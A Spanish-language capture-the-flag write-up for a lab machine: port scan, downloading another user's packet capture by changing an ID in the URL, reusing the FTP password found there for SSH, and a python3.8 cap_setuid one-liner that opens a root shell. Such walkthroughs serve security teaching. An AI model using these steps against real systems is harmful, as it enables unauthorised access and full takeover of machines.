Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Intrusión

En la página web descubrimos que podemos descargar capturas de wireshard (.pcap) del endpoint /download/1. Jugando con el último número, somos capaces de descargar la captura .pcap del endpoint /download/0. En ella podemos ver las credenciales de un usuario que se conectó por ftp las cuales son las siguientes:

nathan:Buck3tH4TF0RM3!

Vemos que podemos acceder con dichos credenciales al servicio ssh y obtener así la flag de usuario.

 

3. Escalado de privilegios

Si listamos las capabilities del usuario nathan vemos lo siguiente:

$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Nos llama la atencion la de python3.8. Si buscamos por ejemlpo en hacktricks encontramos el siguiente exploit, para escalar privilegios. El cual, basicamente en asignarle el ejecutable /bin/bash un uid para poder ejecutarlo como root:

$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Automáticamente obtenemos una shell como root y somos capaces de obtener la flag de root